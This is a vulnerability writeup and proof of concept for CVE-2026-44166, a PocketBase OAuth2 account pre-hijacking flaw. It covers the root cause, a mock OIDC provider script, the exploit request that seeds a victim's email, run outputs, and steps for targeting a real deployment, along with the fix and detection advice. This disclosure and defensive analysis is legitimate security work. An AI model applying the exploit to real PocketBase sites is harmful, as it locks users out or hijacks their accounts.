5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / WRITEUP.md MD
# CVE-2026-44166: PocketBase OAuth2 Account Pre-Hijacking

Pre-claim a victim's email on an OAuth2-enabled PocketBase collection, then lock the real owner out or silently co-own their account, using nothing but a free account on one configured OAuth2 provider.

| | |
|---|---|
| **CVE** | CVE-2026-44166 |
| **Product** | [PocketBase](https://github.com/pocketbase/pocketbase) (Go web backend) |
| **Class** | CWE-287 Improper Authentication (account pre-hijacking) |
| **CVSS 4.0** | 6.1 (Medium) |
| **Affected** | `< 0.22.42` and `>= 0.30.0, < 0.37.4` |
| **Fixed** | `0.22.42`, `0.37.4` |
| **Advisory** | [GHSA-pq7p-mc74-g65w](https://github.com/pocketbase/pocketbase/security/advisories/GHSA-pq7p-mc74-g65w) |
| **Related** | [CVE-2024-38351](https://github.com/advisories/GHSA-m93w-4fxv-r35v) (the incomplete prior fix) |

## 1. Summary

PocketBase's `auth-with-oauth2` endpoint lets the client pass a `createData` object that seeds the new user record. The email field inside `createData` is never validated against the email the OAuth2 provider verified. An attacker authenticating with their own provider account can create a PocketBase record carrying the victim's email, permanently linked to the attacker's OAuth2 identity.

There are two outcomes depending on how many providers the app has configured:

- One provider: hard lockout. The victim can never log in. A unique database index collision makes their OAuth2 link fail with a generic `400 Failed to authenticate.`
- Two or more providers: silent co-ownership. The victim logs in through a different provider and the account upgrades to verified, but the attacker's link is never removed, so both identities keep independent, persistent access.

No victim interaction is required for the lockout variant. Nothing shows up in PocketBase's default logs.

## 2. Background: how PocketBase OAuth2 sign-up works

An auth collection with OAuth2 enabled exposes:

```
POST /api/collections/<name>/auth-with-oauth2
```

The server exchanges the `code` for a token, fetches the provider's user info (`OAuth2User`), and reconciles it against existing records in three steps (`apis/record_auth_with_oauth2.go`):

1. By external link: look up `_externalAuths` for `{collection, provider, providerId}`.
2. By logged-in record: if the caller is already authenticated, use that record.
3. By email: `FindAuthRecordByEmail(collection, OAuth2User.Email)`.

If none match, it creates a new record from client-supplied `createData`. That last fallback is the entry point.

Two unique indexes on the system `_externalAuths` collection matter (`migrations/1640988000_init.go:285`):

```
idx_externalAuths_record_provider   UNIQUE (collectionRef, recordRef, provider)   <-- the lockout
idx_externalAuths_collection_provider UNIQUE (collectionRef, provider, providerId)
```

The first one means a single record can hold at most one link per provider. That is the mechanism behind the permanent lockout.

## 3. Root cause

### 3.1 Unvalidated `createData.email` (the squat)

`apis/record_auth_with_oauth2.go`, `oauth2Submit()`, new-record branch (v0.37.3):

```go
payload := maps.Clone(e.CreateData)        // <-- fully client-controlled
if payload == nil {
    payload = map[string]any{}
}

// assign the OAuth2 user email only if the user hasn't submitted one
if v, _ := payload[core.FieldNameEmail].(string); v == "" {
    payload[core.FieldNameEmail] = e.OAuth2User.Email   // SKIPPED when attacker supplies one
}
```

The provider's verified email is used only as a default. If the attacker supplies `createData: {"email": "[email protected]"}`, that value is what gets written. The record is then linked to the attacker's `{provider, providerId}` via `_externalAuths`.

The new record stays unverified, because right after creation the verify check compares the record email to the provider email and they do not match:

```go
if e.Record.Email() == e.OAuth2User.Email && !e.Record.Verified() {  // victim@ != attacker@
    e.Record.SetVerified(true)   // not reached
}
```

### 3.2 The incomplete CVE-2024-38351 mitigation (why it does not save you)

The previous fix tried to neutralise pre-registered accounts by rotating their password when the legitimate owner shows up. In the existing-record branch:

```go
// "this is in case a malicious actor has registered previously with the user email"
if !isLoggedAuthRecord && e.Record.Email() != "" && !e.Record.Verified() {
    e.Record.SetRandomPassword()   // invalidates any password JWTs...
    needUpdate = true
}
```

This only addresses password auth. It never deletes the attacker's `_externalAuths` row. The OAuth2 link survives, so the attacker keeps a working login path. That is what makes CVE-2026-44166 distinct from CVE-2024-38351, and why it works even when password auth is disabled.

## 4. The two attack variants

### Variant A: single provider, permanent lockout

Trace the victim's later login (`code: victim_code`, provider `oidc`):

1. `FindFirstExternalAuthByExpr{oidc, victim_id}` returns not found (only the attacker's id is linked).
2. Fallback by email finds the attacker's pre-claimed record (`[email protected]`).
3. `oauth2Submit` enters the existing-record branch:
   - record is unverified, so `SetRandomPassword()` runs
   - email matches the provider email, so `SetVerified(true)` runs
   - the link is missing, so it tries to `Save` a new `_externalAuths` row `{oidc, victim_id}` for this record.
4. The record already holds `{oidc, attacker_id}`. Inserting a second `oidc` link for the same record violates `idx_externalAuths_record_provider`, the transaction rolls back, and the request returns `BadRequestError("Failed to authenticate.")`, which is HTTP 400.

The victim is locked out with a generic error and no self-service recovery path. The attacker's link is untouched, so the attacker keeps logging in.

### Variant B: two providers, silent co-ownership

If the victim logs in with a different provider (for example Google instead of the OIDC the attacker used), the new link tuple `{google, victim_googleid}` does not collide with `{oidc, attacker_id}`. So:

- the victim's link installs successfully,
- the record flips to verified,
- but the attacker's `oidc` link is never removed.

Now both identities own the account indefinitely. Because the record is now verified, the `SetRandomPassword()` guard no longer fires on the attacker's later logins, so they get a clean JWT every time.

## 5. Live reproduction

Everything below runs offline against a mock OAuth2 provider, with no real GitHub or Google app needed. Tested on the official prebuilt binaries.

### 5.1 Lab layout

```
pocketbase-cve/
├── mock_oauth2_server.py     # small fake OIDC provider (token + userinfo)
├── poc.py                    # the exploit (run against the vulnerable build)
├── verify_fix.py             # same scenario, prints the outcome for any build
├── bin_0.37.3/pocketbase.exe # VULNERABLE
└── bin_0.37.4/pocketbase.exe # PATCHED
```

Get the binaries (Windows shown; swap the asset name for linux or darwin):

```powershell
foreach ($v in '0.37.3','0.37.4') {
  $z = "pb_$v.zip"
  iwr "https://github.com/pocketbase/pocketbase/releases/download/v$v/pocketbase_${v}_windows_amd64.zip" -OutFile $z
  Expand-Archive $z "bin_$v" -Force
}
```

### 5.2 The mock provider (`mock_oauth2_server.py`)

It maps an `access_token` (the auth `code` is reused as the token) to a fixed identity. Two identities: the attacker and the victim, both with `email_verified: true`.

```python
import json, threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import parse_qs

USERS = {
    "attacker_code": {"sub": "attacker_id_111", "email": "[email protected]",   "email_verified": True},
    "victim_code":   {"sub": "victim_id_999",   "email": "[email protected]",  "email_verified": True},
}

class Handler(BaseHTTPRequestHandler):
    def log_message(self, *a): pass
    def send_json(self, code, body):
        data = json.dumps(body).encode()
        self.send_response(code); self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(data))); self.end_headers()
        self.wfile.write(data)
    def do_POST(self):                       # token endpoint
        body = self.rfile.read(int(self.headers.get("Content-Length", 0))).decode()
        code = parse_qs(body).get("code", [""])[0]
        self.send_json(200, {"access_token": code, "token_type": "Bearer"})
    def do_GET(self):                        # userinfo endpoint
        token = self.headers.get("Authorization", "").removeprefix("Bearer ").strip()
        user = USERS.get(token)
        self.send_json(200 if user else 401, user or {"error": "invalid_token"})

def start(port=8089):
    s = HTTPServer(("127.0.0.1", port), Handler)
    threading.Thread(target=s.serve_forever, daemon=True).start()
    return s
```

### 5.3 The exploit (`poc.py`)

The important part is the single extra field in step 1:

```python
# STEP 1: attacker authenticates with THEIR code but seeds the VICTIM's email
api("POST", "/api/collections/members/auth-with-oauth2", {
    "provider": "oidc", "code": "attacker_code", "redirectURL": "http://localhost",
    "createData": {"email": "[email protected]"}     # <-- the whole attack
})
```

The harness also spins up a superuser, creates a `members` auth collection with the mock OIDC provider and an open `createRule` (the config every real OAuth2 sign-up needs), then runs the three steps. The full script is in the repo.

### 5.4 Run it

Vulnerable `0.37.3`:

```
$ python poc.py
[1] Attacker token issued for: [email protected] (verified=False)
[2] Victim login: HTTP 400 -- Failed to authenticate.
[3] Attacker re-auth: [email protected] -- same record: True
```

- `[1]` Attacker holds a valid token for an account bearing the victim's email.
- `[2]` Victim is locked out with a generic 400 and no recovery.
- `[3]` Attacker still logs into the same record afterwards.

Patched `0.37.4` (`python verify_fix.py 0.37.4`):

```
[1] Attacker pre-claims: [email protected] verified=False id=fcnbsv5977o9kuf
[2] Victim login: SUCCESS verified=True id=fcnbsv5977o9kuf  => victim owns the account
[3] Attacker re-auth: [email protected] id=k1uj8xyqaomwwd8 same-as-victim=False
```

On the fixed build the victim's login evicts the attacker's stale link and takes sole verified ownership, and the attacker's re-auth is forced into a separate record carrying their own email.

## 6. Against a real deployment

The mock server only stands in for a real IdP. Against a production PocketBase the attack is:

1. Pick a target collection with OAuth2 enabled and registrations open (the default for any app that offers "Sign in with GitHub/Google"). The `createData` field is part of the documented public API, so no admin access is needed.
2. Use any free account on one of the configured providers (a throwaway GitHub account is enough).
3. Run the normal OAuth2 flow in a browser or script to obtain a valid `code` for your identity.
4. Submit the final `auth-with-oauth2` call yourself (it is just an HTTP POST) and add `"createData": {"email": "<victim>@<target>"}`.
5. You now hold a token for the victim's email. The victim is either locked out (one provider) or shares the account with you the moment they first sign in (two or more providers).

Only do this against systems you own or are explicitly authorised to test. This repo includes an offline lab so you never have to point it at someone else's IdP.

## 7. Remediation

Upgrade to `0.37.4` (0.30+ line) or `0.22.42` (LTS line).

The official fix (the `0.37.3` to `0.37.4` diff on `oauth2Submit`) clears stale links before linking the real owner. It deletes the attacker's pre-link so a single unverified record can carry at most one OAuth2 link:

```go
// prevent pre-hijacking with password auth
if !isLoggedAuthRecord && !e.Record.Verified() {
    needUpdate = true
    e.Record.SetRandomPassword()
}

// prevent pre-hijacking with a different OAuth2 provider
if !e.Record.Verified() {
    if err := txApp.DeleteAllExternalAuthsByRecord(e.Record); err != nil {  // <-- the fix
        return err
    }
    optExternalAuth = nil // allow the legitimate link to be recreated below
}
```

This closes both variants at once: the lockout (the unique-index collision cannot happen because the attacker's row is gone) and the co-ownership (the surviving link is removed before the verified upgrade).

If you cannot upgrade immediately, the equivalent hardening is to reject a `createData.email` that differs from the provider-verified email:

```go
if v, _ := payload[core.FieldNameEmail].(string); v != "" && v != e.OAuth2User.Email {
    return errors.New("createData.email must match the OAuth2 provider email")
}
```

## 8. Detection

- Logs: the attack leaves no distinctive entry by default. Look at the data layer instead.
- `_externalAuths` audit: flag any record whose linked provider email (`OAuth2User.Email` at link time) does not match the record's `email`, and any record carrying multiple provider links it should not have.
- Unverified pre-claims: unverified records with a populated, business-relevant email that were created via OAuth2 are suspicious.
- `400 Failed to authenticate.` spikes tied to OAuth2 callbacks can indicate victims hitting the lockout.

## 9. Timeline and credits

- Reported privately to the PocketBase maintainer with a PoC and two suggested fixes.
- Fixed in `0.37.4` and `0.22.42`. Advisory [GHSA-pq7p-mc74-g65w](https://github.com/pocketbase/pocketbase/security/advisories/GHSA-pq7p-mc74-g65w), assigned CVE-2026-44166.
- The shipped fix matches the "delete stale external-auth links" option from the report.

This document and the accompanying lab are for authorised security testing and education only.